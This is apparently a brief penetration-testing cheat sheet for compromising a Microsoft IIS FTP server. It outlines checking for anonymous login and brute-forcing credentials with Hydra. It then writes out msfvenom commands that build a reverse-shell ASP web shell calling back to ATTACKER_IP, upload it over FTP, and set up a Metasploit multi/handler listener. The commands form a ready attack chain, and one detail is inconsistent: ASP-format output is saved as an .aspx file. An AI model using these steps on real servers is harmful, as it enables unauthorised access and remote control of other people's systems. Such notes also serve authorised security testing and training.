Targeting Microsoft IIS FTP

In case of IIS, the FTP server is usually used to modify the content of the web application.

1. Check if anonymous log in is enabled.

2. FTP brute-force with Hydra.

3. Try to get a revere shell

   # Generate a payload with msfvenom and upload it to the server.
   msfvenom -p windows/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f asp > shell.aspx
   
   # Log in to the FTP server with the credentials obtained with the brute force attack
   
   # Upload the generated shell file
   put shell.aspx
   
   # Set up multi/handler listener
   use multi/handler
   set payload windows/shell/reverse_tcp
   set LHOST ATTACKER_IP
   set LPORT ATTACKER_PORT